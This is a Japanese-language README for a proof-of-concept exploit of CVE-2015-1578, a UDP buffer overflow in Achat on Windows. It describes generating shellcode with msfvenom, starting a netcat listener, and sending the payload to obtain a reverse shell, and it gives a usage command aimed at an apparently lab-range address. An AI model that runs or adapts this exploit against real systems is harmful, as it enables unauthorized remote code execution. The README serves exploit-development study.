CVE-2015-1578-PoC

概要

これは CVE-2015-1578 の概念実証エクスプロイトです。この脆弱性は、Windows 上の Achat 0.150 beta7 におけるバッファオーバーフローであり、細工された UDP パケットを介してリモートコード実行を引き起こします。

目的

この PoC は、クリーンでミニマルかつ構造化されたエクスプロイト開発の例として提供されます。以下の要素を示します:

• msfvenom による動的シェルコード生成
• 引数ベースのターゲット指定と設定
• 統合されたリスナーセットアップ
• UDP 経由のシンプルなペイロード配信

ビデオチュートリアル

依存関係

• Python 3
• msfvenom (Metasploit Framework の一部)
• rlwrap (Netcat の操作性向上用)

機能

• msfvenom を使って Unicode エンコードされたペイロードを動的に作成
• rlwrap nc を使ってリスナーを自動起動
• クリーンなコマンドライン引数を受け付け
• オプションのペイロードモジュールが不足している場合は優雅に失敗

引数

-i <target_ip> ターゲット IP アドレス (必須) -l, --lhost <listener_ip> リバースシェル用のローカルホスト IP (必須) -p, --lport <port> リバースシェル用のローカルポート (必須) --rport <port> ターゲット上のリモート UDP ポート (デフォルト: 9256)

使用例

python3 chatter.py -i 10.10.10.74 -l 10.10.16.7 -p 9393

これにより以下の処理が行われます:

• 指定された LHOST と LPORT でペイロードを生成
• バックグラウンドスレッドでリスナーを起動
• エクスプロイトペイロードを UDP 経由でターゲットに送信